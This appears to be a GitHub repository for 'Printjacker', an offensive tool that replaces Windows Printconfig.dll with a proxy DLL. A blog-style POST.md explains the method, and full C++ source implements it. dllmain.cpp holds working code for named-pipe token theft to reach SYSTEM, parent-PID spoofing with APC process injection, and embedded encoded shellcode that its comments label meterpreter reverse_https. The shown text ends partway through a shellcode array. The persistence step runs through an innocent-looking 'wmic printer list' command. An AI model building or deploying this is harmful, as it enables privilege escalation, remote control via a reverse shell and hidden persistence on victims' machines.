├── POST.md ├── Printjacker ├── PrintConfig │ ├── PrintConfig.vcxproj │ ├── PrintConfig.vcxproj.filters │ ├── PrintConfig.vcxproj.user │ ├── dllmain.cpp │ ├── pch.cpp │ ├── pch.h │ ├── token.cpp │ └── token.h ├── Printjacker.sln └── Printjacker │ ├── Printjacker.rc │ ├── Printjacker.vcxproj │ ├── Printjacker.vcxproj.filters │ ├── Printjacker.vcxproj.user │ ├── Source.cpp │ └── resource.h ├── README.md └── images ├── flow.png └── trace.png /POST.md: -------------------------------------------------------------------------------- 1 | # A Tricky Hijack - Printconfig.dll 2 | 3 | ## 1- An Interesting File Overwrite Vulnerability 4 | 5 | In 2020, different researchers discovered 2 important Privilege Escalation vulnerabilities affecting Windows Group Policy Caching that are labeled as **CVE-2020-1317** and **CVE-2020-16939**. [The ZDI post](https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation) describes **CVE-2020-16939** like this[[1]]: 6 | 7 | ``` 8 | This vulnerability abuses a SetSecurityFile operation performed during Group Policy update that is done in the context of NT AUTHORITY\SYSTEM. 9 | This operation is performed on all files within a certain folder. 10 | An attacker could create a directory junction to another folder and thereby obtain full permissions on the contents of that folder. 11 | ``` 12 | 13 | While I was trying to understand and weaponize the vulnerability in my environment, I realized that changing permissions of every file in a system directory is a very noisy action. Let's say you want to exploit this vulnerability for getting the SYSTEM shell by overwriting a Dll. In order to overwrite a system Dll, you need to change permissions of the file which is usually under `C:\Windows\System32`. Choosing `System32` as the target folder may end up affecting lots of other files and gives inconsistent results. 14 | 15 | The question is that is there a better folder to takeover than `C:\Windows\System32` which will affect permissions of fewer files. Actually, a subtle approach can be used for creating a more stable and elegant exploit[[2]]. For this approach, we will simply use an exploitation method first showed by [SandboxEscaper](https://twitter.com/SandboxBear) in CVE-2018-8440. Task Scheduler ALPC interface vulnerability is exploited to overwrite **Printconfig.dll** which is the library related to the Print Configuration User Interface to load a custom Dll into "spoolsv.exe" process. Printconfig.dll is under a generic directory `C:\Windows\System32\DriverStore\FileRepository\*\amd64`. This directory contains 4 files so it can be a better target for our scenario. 16 | 17 | ## 2- DLL Proxying 18 | 19 | In order to create a malicious DLL that will replace Printconfig.dll, I decided to use DLL proxying method in order to reproduce the functionality as much as possible. I decided to execute the payload in the specific method used by a system service rather than writing it into DllMain. 20 | 21 | ```c 22 | #pragma comment(linker,"/export:DevQueryPrintEx=printconfig_orig.DevQueryPrintEx,@258") 23 | #pragma comment(linker,"/export:DllCanUnloadNow=printconfig_orig.DllCanUnloadNow,@259") 24 | #pragma comment(linker,"/export:DllGetClassObject=printconfig_orig.DllGetClassObject,@260") 25 | ... 26 | ``` 27 | 28 | The default execution method used by SandboxEscaper is that of using XPS Print Jobs to make spoolsv.exe load Printconfig.dll. I checked that in several Windows 10 environments and it seems in some cases Printconfig.dll was not loaded by spoolsv after invoking XPS Print Job. I tried the debug the issue without going into detail and it seems some caching mechanisms may terminate the execution before loading the Printconfig.dll[[3]]. 29 | 30 | ## 3- Execution via WMIC 31 | 32 | Afer that, I decided to change the method to load Printconfig.dll into a system service. Good old WMI can be a good option for interacting with different parts of Operating System. WMI can be used to query printers on a system, show details of a printer, and edit printer configs. By executing `wmic printer list` command, I validate WmiPrvSE.exe loads Printconfig.dll into its memory. To understand which function is invoked by WmiPrvSE.exe, I used procmon to display stack trace when Printconfig.dll is loaded. 33 | 34 | ![trace](images/trace.png) 35 | 36 | Stack Trace shows **DrvDeviceCapabilities** is the function that I am looking for so I used *x64dbg* to observe WmiPrvSE.exe actually executes `Printconfig.dll!DrvDeviceCapabilities`. After the double check I decided to put my payload in **DrvDeviceCapabilities**. 37 | 38 | ## 4- Elevate to SYSTEM from WmiPrvSE.exe 39 | 40 | Changing execution method from XPS Print Job to WMIC mainly affects the privileges of the loader process. WMIC command can cause WmiPrvSE.exe to spawn and it often impersonates the caller user. I checked the impersonation token used in WmiPrvSE.exe process and verified the thread is ran with it when `wmic printer list` is executed. So, if I call `wmic printer list` with a low-privilege user, the thread will run with the privileges of that user. This is an undesirable limitation since I want to be able to execute the payload regardless the user invoking `wmic printer list` command. However, it's possible to bypass impersonation token by creating a new thread and executing our payload in the newly created thread. MSDN Documentation mentions this property in [here][4]. 41 | 42 | ``` 43 | The ACLs in the default security descriptor for a thread come from the primary token of the creator. 44 | ``` 45 | 46 | According to the documentation new thread is created with the primary token of WmiPrvSE.exe which has `NT AUTHORITY\NETWORK SERVICE` SID. Since I want to elevate to SYSTEM privileges I used the method described by James Forshaw in ["Sharing a Logon Session a Little Too Much"][5]. The blog post explains the method very well so I won't go into the detail here. I implemented the same method in Printconfig.dll with the help of [Faxhell](https://github.com/ionescu007/faxhell) tool which also utilizes it[[6]]. In summary, this method uses a named pipe impersonation trickery to get the token of **RPCSS** process which can be used for searching SYSTEM token in other processes. After finding the SYSTEM token, it is used to be impersonated by the current thread using **SetThreadToken()**. 47 | 48 | ```c 49 | 50 | BOOL GetSystem() { 51 | //Create Random Pipename 52 | WCHAR pipename[12] = { 0 }; 53 | GenRandomString(pipename, 11); 54 | wprintf(L"\n[*] PipeName; \\\\.\\pipe\\%s", pipename); 55 | 56 | HANDLE hPipe; 57 | WCHAR server[512]; 58 | char buffer[256]; 59 | DWORD dwRead = 0; 60 | HANDLE hProc; 61 | 62 | HANDLE hPipe2; 63 | WCHAR server2[512]; 64 | DWORD cbWritten = 0; 65 | 66 | HANDLE hToken; 67 | 68 | wsprintf(server, L"\\\\.\\pipe\\%s", pipename); 69 | wsprintf(server2, L"\\\\localhost\\pipe\\%s", pipename); 70 | 71 | hPipe = CreateNamedPipe(L"\\\\.\\pipe\\pipey", 72 | PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, 73 | PIPE_TYPE_BYTE | 74 | PIPE_READMODE_BYTE | 75 | PIPE_WAIT | 76 | PIPE_ACCEPT_REMOTE_CLIENTS, 77 | PIPE_UNLIMITED_INSTANCES, 78 | 4096, 79 | 4096, 80 | NMPWAIT_USE_DEFAULT_WAIT, 81 | NULL); 82 | 83 | hPipe2 = CreateFile(L"\\\\localhost\\pipe\\pipey", 84 | GENERIC_READ | GENERIC_WRITE, 85 | 0, 86 | NULL, 87 | OPEN_EXISTING, 88 | 0, 89 | NULL); 90 | WriteFile(hPipe2, &hPipe, sizeof(hPipe2), NULL, NULL); 91 | ReadFile(hPipe, &hPipe, sizeof(hPipe), NULL, NULL); 92 | if (!ImpersonateNamedPipeClient(hPipe)) { 93 | printf("\n[-] ERROR impersonating the client: %d", GetLastError()); 94 | return FALSE; 95 | } 96 | if (FAILED(GetServiceHandle(L"Rpcss", &hProc))) { 97 | printf("\n[-] ERROR GetServiceHandle %d", GetLastError()); 98 | CloseHandle(hProc); 99 | return FALSE; 100 | } 101 | 102 | if (FAILED(GetSystemTokenFromProcess(hProc))) { 103 | printf("\n[-] ERROR GetSystemTokenFromProcess %d", GetLastError()); 104 | CloseHandle(hProc); 105 | return FALSE; 106 | } 107 | CloseHandle(hProc); 108 | return TRUE; 109 | } 110 | ``` 111 | 112 | 113 | ## 5- Injection to the new Process 114 | 115 | As the payload, I intend to use shellcode since many C2 beacons can be deployed this way. To execute the payload in SYSTEM privileges I decided to inject the shellcode to a process which is run as SYSTEM user. Actually, trying to execute the shellcode in the current process (WmiPrvSE.exe) generally ends up having NETWORK SERVICE token because new threads are created. Therefore I decided to create a new WmiPrvSE.exe to host my shellcode with the parent of **DcomLaunch** service process which is run as SYSTEM. I utilized the well-known parent PID spoofing and a generic injection technique known as ["Early Bird APC Queue Code Injection"](https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection) in order to create the new host process under **DcomLaunch** for injection[[7]]. The injection technique can be changed with more evasive ones according to the target environment. 116 | 117 | ```c 118 | DWORD InjectNewProcess(HANDLE hParent) { 119 | unsigned char shellcode[] = "???"; 120 | STARTUPINFOEX si; 121 | PROCESS_INFORMATION pi; 122 | SIZE_T attributeSize; 123 | ZeroMemory(&si, sizeof(STARTUPINFOEX)); 124 | WCHAR cmdline[MAX_PATH] = L"wmiprvse.exe -Embedding"; 125 | //WCHAR cmdline[MAX_PATH] = L"notepad.exe"; 126 | 127 | InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); 128 | si.lpAttributeList = 129 | (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc 130 | (GetProcessHeap(), 0, attributeSize); 131 | InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); 132 | UpdateProcThreadAttribute(si.lpAttributeList, 0, 133 | PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 134 | &hParent, sizeof(HANDLE), NULL, NULL); 135 | si.StartupInfo.cb = sizeof(STARTUPINFOEX); 136 | 137 | CreateProcessW(NULL, cmdline, NULL, NULL, FALSE, 138 | EXTENDED_STARTUPINFO_PRESENT|CREATE_SUSPENDED|CREATE_NO_WINDOW, 139 | NULL, NULL, &si.StartupInfo, &pi); 140 | HANDLE victimProcess = pi.hProcess; 141 | HANDLE threadHandle = pi.hThread; 142 | 143 | LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, 144 | sizeof(shellcode), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE); 145 | PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; 146 | 147 | WriteProcessMemory(victimProcess, shellAddress, shellcode, 148 | sizeof(shellcode), NULL); 149 | QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); 150 | ResumeThread(threadHandle); 151 | 152 | return 0; 153 | } 154 | ``` 155 | 156 | ## 6- Persistence 157 | 158 | I decided to utilize *Printconfig.dll* hijack also for persistence since `wmic printer list` is an innocent-looking command, and this method can be combined with other persistence methods quite easily. This persistence method is applicable when the attacker has the write/modify privileges as Administrator. Printjacker finds *Printconfig.dll* directory and changes the ownership to the **Administrator** since it's owned **TrustedInstaller** by default. Printjacker also gives full permission to the **Administrator** for the directory in order to modify the files for Hijacking. After that it copies original *Printconfig.dll* to *Printconfig_orig.dll* and the Dll with our payload is written over *Printconfig.dll*. Lastly, `wmic printer list` command is executed to invoke the payload. 159 | 160 | ![flow](images/flow.png) 161 | 162 | ### References 163 | 1- https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation 164 | 165 | 2- It's also suggested by [@decoder_it](https://twitter.com/decoder_it) in here: https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ 166 | 167 | 3- OpenPrinter2 function document is actually mentions a local cache for printers: https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter2 168 | 169 | 4- https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread 170 | 171 | 5- https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html 172 | 173 | 6- https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c 174 | 175 | 7- https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection 176 | 177 | [1]: https://www.zerodayinitiative.com/blog/2020/10/27/cve-2020-16939-windows-group-policy-dacl-overwrite-privilege-escalation 178 | [2]: https://decoder.cloud/2019/11/13/from-arbitrary-file-overwrite-to-system/ 179 | [3]: https://docs.microsoft.com/en-us/windows/win32/printdocs/openprinter2 180 | [4]: https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread 181 | [5]: https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html 182 | [6]: https://github.com/ionescu007/faxhell/blob/master/ualapi/dllmain.c 183 | [7]: https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection; 184 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/PrintConfig.vcxproj: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {902c4710-ff3e-45a4-bd70-6865db8db48b} 25 | PrintConfig 26 | 10.0 27 | 28 | 29 | 30 | DynamicLibrary 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | DynamicLibrary 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 90 | true 91 | Use 92 | pch.h 93 | 94 | 95 | Windows 96 | true 97 | false 98 | 99 | 100 | 101 | 102 | Level3 103 | true 104 | true 105 | true 106 | WIN32;NDEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 107 | true 108 | Use 109 | pch.h 110 | 111 | 112 | Windows 113 | true 114 | true 115 | true 116 | false 117 | 118 | 119 | 120 | 121 | Level3 122 | true 123 | _DEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 124 | true 125 | Use 126 | pch.h 127 | 128 | 129 | Windows 130 | true 131 | false 132 | 133 | 134 | 135 | 136 | Level3 137 | true 138 | true 139 | true 140 | NDEBUG;PRINTCONFIG_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 141 | true 142 | Use 143 | pch.h 144 | MultiThreaded 145 | 146 | 147 | Windows 148 | true 149 | true 150 | true 151 | false 152 | 153 | 154 | 155 | 156 | 157 | 158 | 159 | 160 | 161 | Create 162 | Create 163 | Create 164 | Create 165 | 166 | 167 | 168 | 169 | 170 | 171 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/PrintConfig.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Header Files 20 | 21 | 22 | Header Files 23 | 24 | 25 | Header Files 26 | 27 | 28 | 29 | 30 | Source Files 31 | 32 | 33 | Source Files 34 | 35 | 36 | Source Files 37 | 38 | 39 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/PrintConfig.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | -------------------------------------------------------------------------------- /Printjacker/PrintConfig/dllmain.cpp: -------------------------------------------------------------------------------- 1 | // dllmain.cpp : Defines the entry point for the DLL application. 2 | #include "pch.h" 3 | #include 4 | #include 5 | #include "token.h" 6 | 7 | #pragma comment(linker,"/export:DevQueryPrintEx=printconfig_orig.DevQueryPrintEx,@258") 8 | #pragma comment(linker,"/export:DllCanUnloadNow=printconfig_orig.DllCanUnloadNow,@259") 9 | #pragma comment(linker,"/export:DllGetClassObject=printconfig_orig.DllGetClassObject,@260") 10 | #pragma comment(linker,"/export:DllRegisterServer=printconfig_orig.DllRegisterServer,@262") 11 | #pragma comment(linker,"/export:DllUnregisterServer=printconfig_orig.DllUnregisterServer,@263") 12 | #pragma comment(linker,"/export:DrvConvertDevMode=printconfig_orig.DrvConvertDevMode,@264") 13 | #pragma comment(linker,"/export:DrvDevicePropertySheets=printconfig_orig.DrvDevicePropertySheets,@266") 14 | #pragma comment(linker,"/export:DrvDocumentEvent=printconfig_orig.DrvDocumentEvent,@267") 15 | #pragma comment(linker,"/export:DrvDocumentPropertySheets=printconfig_orig.DrvDocumentPropertySheets,@268") 16 | #pragma comment(linker,"/export:DrvDriverEvent=printconfig_orig.DrvDriverEvent,@269") 17 | #pragma comment(linker,"/export:DrvPopulateFilterServices=printconfig_orig.DrvPopulateFilterServices,@270") 18 | #pragma comment(linker,"/export:DrvPrinterEvent=printconfig_orig.DrvPrinterEvent,@271") 19 | #pragma comment(linker,"/export:DrvQueryColorProfile=printconfig_orig.DrvQueryColorProfile,@272") 20 | #pragma comment(linker,"/export:DrvQueryJobAttributes=printconfig_orig.DrvQueryJobAttributes,@273") 21 | #pragma comment(linker,"/export:DrvResetConfigCache=printconfig_orig.DrvResetConfigCache,@255") 22 | #pragma comment(linker,"/export:DrvSplDeviceCaps=printconfig_orig.DrvSplDeviceCaps,@254") 23 | #pragma comment(linker,"/export:DrvUpgradePrinter=printconfig_orig.DrvUpgradePrinter,@274") 24 | #pragma comment(linker,"/export:GetStandardMessageForPrinterStatus=printconfig_orig.GetStandardMessageForPrinterStatus,@300") 25 | #pragma comment(linker,"/export:MxdcGetPDEVAdjustment=printconfig_orig.MxdcGetPDEVAdjustment,@256") 26 | #pragma comment(linker,"/export:NotifyEntry=printconfig_orig.NotifyEntry,@275") 27 | #pragma comment(linker,"/export:ServiceMain=printconfig_orig.ServiceMain,@257") 28 | 29 | BOOL CreateCmdAsSystem() { 30 | //This method can be used for executing commands 31 | HANDLE hSystemToken; 32 | if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, 33 | &hSystemToken)) 34 | { 35 | //wprintf(L"OpenThreadToken(). Error: %d\n", GetLastError()); 36 | return FALSE; 37 | } 38 | 39 | HANDLE hPrimary; 40 | if (!DuplicateTokenEx(hSystemToken, TOKEN_ALL_ACCESS, NULL, 41 | SecurityImpersonation, TokenPrimary, &hPrimary)) 42 | { 43 | DWORD LastError = GetLastError(); 44 | //wprintf(L"ERROR: Could not duplicate process token [%d]\n", LastError); 45 | return FALSE; 46 | } 47 | 48 | WCHAR commandline[] = L"cmd.exe"; 49 | STARTUPINFO si = { sizeof(si) }; 50 | PROCESS_INFORMATION pi = { 0 }; 51 | ZeroMemory(&si, sizeof(STARTUPINFO)); 52 | si.cb = sizeof(STARTUPINFO); 53 | si.lpDesktop = const_cast(L"WinSta0\\Default"); 54 | 55 | if (!CreateProcessAsUser(hPrimary, NULL, commandline, NULL, NULL, 0, 56 | CREATE_UNICODE_ENVIRONMENT|CREATE_NEW_CONSOLE|CREATE_BREAKAWAY_FROM_JOB, 57 | NULL, NULL, &si, &pi)) { 58 | //printf("\n[-] CreateProcessAsUser is FAILED: %d", GetLastError()); 59 | return FALSE; 60 | } 61 | Sleep(3000); 62 | WaitForSingleObject(pi.hProcess, INFINITE); 63 | return TRUE; 64 | } 65 | 66 | void GenRandomString(wchar_t* s, const int len) 67 | { 68 | static const char alphanum[] = 69 | "0123456789" 70 | "ABCDEFGHIJKLMNOPQRSTUVWXYZ" 71 | "abcdefghijklmnopqrstuvwxyz"; 72 | 73 | for (int i = 0; i < len; ++i) { 74 | s[i] = alphanum[rand() % (sizeof(alphanum) - 1)]; 75 | } 76 | s[len] = 0; 77 | } 78 | 79 | BOOL GetSystem() { 80 | //Create Random Pipename 81 | WCHAR pipename[12] = { 0 }; 82 | GenRandomString(pipename, 11); 83 | //wprintf(L"\n[*] PipeName; \\\\.\\pipe\\%s", pipename); 84 | 85 | HANDLE hPipe; 86 | WCHAR server[512]; 87 | DWORD dwRead = 0; 88 | HANDLE hProc; 89 | 90 | HANDLE hPipe2; 91 | WCHAR server2[512]; 92 | DWORD cbWritten = 0; 93 | 94 | HANDLE hToken = INVALID_HANDLE_VALUE; 95 | 96 | wsprintf(server, L"\\\\.\\pipe\\%s", pipename); 97 | wsprintf(server2, L"\\\\localhost\\pipe\\%s", pipename); 98 | 99 | hPipe = CreateNamedPipe(server, 100 | PIPE_ACCESS_DUPLEX | FILE_FLAG_FIRST_PIPE_INSTANCE, 101 | PIPE_TYPE_BYTE | 102 | PIPE_READMODE_BYTE | 103 | PIPE_WAIT | 104 | PIPE_ACCEPT_REMOTE_CLIENTS, 105 | PIPE_UNLIMITED_INSTANCES, 106 | 4096, 107 | 4096, 108 | NMPWAIT_USE_DEFAULT_WAIT, 109 | NULL); 110 | 111 | hPipe2 = CreateFile(server2, 112 | GENERIC_READ | GENERIC_WRITE, 113 | 0, 114 | NULL, 115 | OPEN_EXISTING, 116 | 0, 117 | NULL); 118 | WriteFile(hPipe2, &hPipe, sizeof(hPipe2), NULL, NULL); 119 | ReadFile(hPipe, &hPipe, sizeof(hPipe), NULL, NULL); 120 | if (!ImpersonateNamedPipeClient(hPipe)) { 121 | //printf("\n[-] ERROR impersonating the client: %d", GetLastError()); 122 | return FALSE; 123 | } 124 | if (FAILED(GetServiceHandle(L"Rpcss", &hProc))) { 125 | //printf("\n[-] ERROR GetServiceHandle %d", GetLastError()); 126 | CloseHandle(hProc); 127 | return FALSE; 128 | } 129 | 130 | if (FAILED(GetSystemTokenFromProcess(hProc))) { 131 | //printf("\n[-] ERROR GetSystemTokenFromProcess %d", GetLastError()); 132 | CloseHandle(hProc); 133 | return FALSE; 134 | } 135 | CloseHandle(hProc); 136 | return TRUE; 137 | } 138 | 139 | VOID ExecSc() { 140 | //This is a backup method if other fails 141 | //It will be executed if SYSTEM token is failed to be impersonated 142 | //Change the shellcode in both methods 143 | //payload/windows/x64/meterpreter/reverse_https -e x64/xor_dynamic 144 | unsigned char shellcode[] = 145 | "\xeb\x27\x5b\x53\x5f\xb0\x7c\xfc\xae\x75\xfd\x57\x59\x53\x5e" 146 | "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\xdb\xaf" 147 | "\x74\x07\x80\x3e\x7c\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff" 148 | "\xff\x14\x7c\xe8\x5c\x97\xf0\xe4\xfc\xd8\x14\x14\x14\x55\x45" 149 | "\x55\x44\x46\x45\x42\x5c\x25\xc6\x71\x5c\x9f\x46\x74\x5c\x9f" 150 | "\x46\x0c\x5c\x9f\x46\x34\x5c\x1b\xa3\x5e\x5e\x5c\x9f\x66\x44" 151 | "\x59\x25\xdd\x5c\x25\xd4\xb8\x28\x75\x68\x16\x38\x34\x55\xd5" 152 | "\xdd\x19\x55\x15\xd5\xf6\xf9\x46\x5c\x9f\x46\x34\x9f\x56\x28" 153 | "\x5c\x15\xc4\x55\x45\x72\x95\x6c\x0c\x1f\x16\x1b\x91\x66\x14" 154 | "\x14\x14\x9f\x94\x9c\x14\x14\x14\x5c\x91\xd4\x60\x73\x5c\x15" 155 | "\xc4\x44\x9f\x5c\x0c\x50\x9f\x54\x34\x5d\x15\xc4\xf7\x42\x5c" 156 | "\xeb\xdd\x55\x9f\x20\x9c\x59\x25\xdd\x5c\x15\xc2\x5c\x25\xd4" 157 | "\xb8\x55\xd5\xdd\x19\x55\x15\xd5\x2c\xf4\x61\xe5\x58\x17\x58" 158 | "\x30\x1c\x51\x2d\xc5\x61\xcc\x4c\x50\x9f\x54\x30\x5d\x15\xc4" 159 | "\x72\x55\x9f\x18\x5c\x50\x9f\x54\x08\x5d\x15\xc4\x55\x9f\x10" 160 | "\x9c\x5c\x15\xc4\x55\x4c\x55\x4c\x4a\x4d\x4e\x55\x4c\x55\x4d" 161 | "\x55\x4e\x5c\x97\xf8\x34\x55\x46\xeb\xf4\x4c\x55\x4d\x4e\x5c" 162 | "\x9f\x06\xfd\x5f\xeb\xeb\xeb\x49\x5c\x25\xcf\x47\x5d\xaa\x63" 163 | "\x7d\x7a\x7d\x7a\x71\x60\x14\x55\x42\x5c\x9d\xf5\x5d\xd3\xd6" 164 | "\x58\x63\x32\x13\xeb\xc1\x47\x47\x5c\x9d\xf5\x47\x4e\x59\x25" 165 | "\xd4\x59\x25\xdd\x47\x47\x5d\xae\x2e\x42\x6d\xb3\x14\x14\x14" 166 | "\x14\xeb\xc1\xfc\x1b\x14\x14\x14\x25\x2d\x26\x3a\x25\x22\x2c" 167 | "\x3a\x21\x22\x3a\x25\x24\x25\x14\x4e\x5c\x9d\xd5\x5d\xd3\xd4" 168 | "\x48\x05\x14\x14\x59\x25\xdd\x47\x47\x7e\x17\x47\x5d\xae\x43" 169 | "\x9d\x8b\xd2\x14\x14\x14\x14\xeb\xc1\xfc\x24\x14\x14\x14\x3b" 170 | "\x5e\x22\x70\x5c\x24\x51\x62\x77\x4c\x5e\x6c\x65\x62\x53\x61" 171 | "\x39\x5a\x43\x52\x63\x25\x63\x47\x47\x5a\x26\x76\x63\x4c\x63" 172 | "\x23\x47\x46\x4d\x4c\x39\x21\x57\x44\x66\x5d\x61\x72\x5b\x5d" 173 | "\x64\x14\x5c\x9d\xd5\x47\x4e\x55\x4c\x59\x25\xdd\x47\x5c\xac" 174 | "\x14\x16\x3c\x90\x14\x14\x14\x14\x44\x47\x47\x5d\xd3\xd6\xff" 175 | "\x41\x3a\x2f\xeb\xc1\x5c\x9d\xd2\x7e\x1e\x4b\x47\x4e\x5c\x9d" 176 | "\xe5\x59\x25\xdd\x59\x25\xdd\x47\x47\x5d\xd3\xd6\x39\x12\x0c" 177 | "\x6f\xeb\xc1\x91\xd4\x61\x0b\x5c\xd3\xd5\x9c\x07\x14\x14\x5d" 178 | "\xae\x50\xe4\x21\xf4\x14\x14\x14\x14\xeb\xc1\x5c\xeb\xdb\x60" 179 | "\x16\xff\xd8\xfc\x41\x14\x14\x14\x47\x4d\x7e\x54\x4e\x5d\x9d" 180 | "\xc5\xd5\xf6\x04\x5d\xd3\xd4\x14\x04\x14\x14\x5d\xae\x4c\xb0" 181 | "\x47\xf1\x14\x14\x14\x14\xeb\xc1\x5c\x87\x47\x47\x5c\x9d\xf3" 182 | "\x5c\x9d\xe5\x5c\x9d\xce\x5d\xd3\xd4\x14\x34\x14\x14\x5d\x9d" 183 | "\xed\x5d\xae\x06\x82\x9d\xf6\x14\x14\x14\x14\xeb\xc1\x5c\x97" 184 | "\xd0\x34\x91\xd4\x60\xa6\x72\x9f\x13\x5c\x15\xd7\x91\xd4\x61" 185 | "\xc6\x4c\xd7\x4c\x7e\x14\x4d\x5d\xd3\xd6\xe4\xa1\xb6\x42\xeb" 186 | "\xc1\xdb\xaf"; 187 | LPVOID addr = VirtualAlloc(NULL, sizeof(shellcode) * 2, 0x3000, 0x40); 188 | RtlMoveMemory(addr, shellcode, sizeof(shellcode)); 189 | ((void(*)())addr)(); 190 | } 191 | 192 | DWORD InjectNewProcess(HANDLE hParent) { 193 | //payload/windows/x64/meterpreter/reverse_https -e x64/xor_dynamic 194 | unsigned char shellcode[] = 195 | "\xeb\x27\x5b\x53\x5f\xb0\x84\xfc\xae\x75\xfd\x57\x59\x53\x5e" 196 | "\x8a\x06\x30\x07\x48\xff\xc7\x48\xff\xc6\x66\x81\x3f\x7d\x12" 197 | "\x74\x07\x80\x3e\x84\x75\xea\xeb\xe6\xff\xe1\xe8\xd4\xff\xff" 198 | "\xff\x03\x04\x84\xff\x4c\x80\xe0\xf3\xec\xcf\x04\x03\x04\x42" 199 | "\x55\x42\x54\x51\x4c\x32\xd6\x52\x52\x66\x4c\x88\x56\x63\x4c" 200 | "\x88\x56\x1b\x4c\x88\x56\x23\x4c\x0c\xb3\x49\x4e\x4b\x8f\x71" 201 | "\x54\x4e\x35\xca\x4c\x32\xc4\xaf\x38\x62\x78\x01\x28\x23\x45" 202 | "\xc2\xcd\x0e\x45\x02\xc5\xe1\xe9\x51\x45\x52\x4c\x88\x56\x23" 203 | "\x8f\x41\x38\x4b\x05\xd3\x62\x82\x7c\x1b\x0f\x01\x0b\x86\x76" 204 | "\x03\x04\x03\x8f\x83\x8c\x03\x04\x03\x4c\x86\xc4\x77\x63\x4b" 205 | "\x05\xd3\x40\x88\x44\x23\x4d\x02\xd4\x88\x4c\x1b\x54\xe0\x52" 206 | "\x4e\x35\xca\x4c\xfc\xcd\x42\x8f\x37\x8c\x4b\x05\xd5\x4c\x32" 207 | "\xc4\xaf\x45\xc2\xcd\x0e\x45\x02\xc5\x3b\xe4\x76\xf5\x4f\x07" 208 | "\x4f\x20\x0b\x41\x3a\xd5\x76\xdc\x5b\x40\x88\x44\x27\x4d\x02" 209 | "\xd4\x65\x45\x88\x08\x4b\x40\x88\x44\x1f\x4d\x02\xd4\x42\x8f" 210 | "\x07\x8c\x4b\x05\xd3\x45\x5b\x45\x5b\x5a\x5a\x5e\x42\x5c\x42" 211 | "\x5d\x42\x5e\x4b\x87\xef\x24\x42\x56\xfc\xe4\x5b\x45\x5a\x5e" 212 | "\x4b\x8f\x11\xed\x48\xfb\xfc\xfb\x5e\x4c\x32\xdf\x50\x4d\xbd" 213 | "\x73\x6a\x6a\x6a\x6a\x66\x70\x03\x45\x55\x4c\x8a\xe5\x4a\xc3" 214 | "\xc1\x48\x74\x22\x04\xfb\xd6\x57\x50\x4c\x8a\xe5\x50\x5e\x4e" 215 | "\x35\xc3\x49\x32\xcd\x50\x57\x4a\xbe\x39\x52\x7a\xa3\x03\x04" 216 | "\x03\x04\xfc\xd1\xeb\x0b\x03\x04\x03\x35\x3a\x36\x2d\x35\x35" 217 | "\x3c\x2d\x31\x35\x2a\x32\x34\x32\x04\x59\x4c\x8a\xc5\x4a\xc3" 218 | "\xc3\xff\x23\x04\x03\x49\x32\xcd\x50\x57\x69\x07\x50\x4d\xb9" 219 | 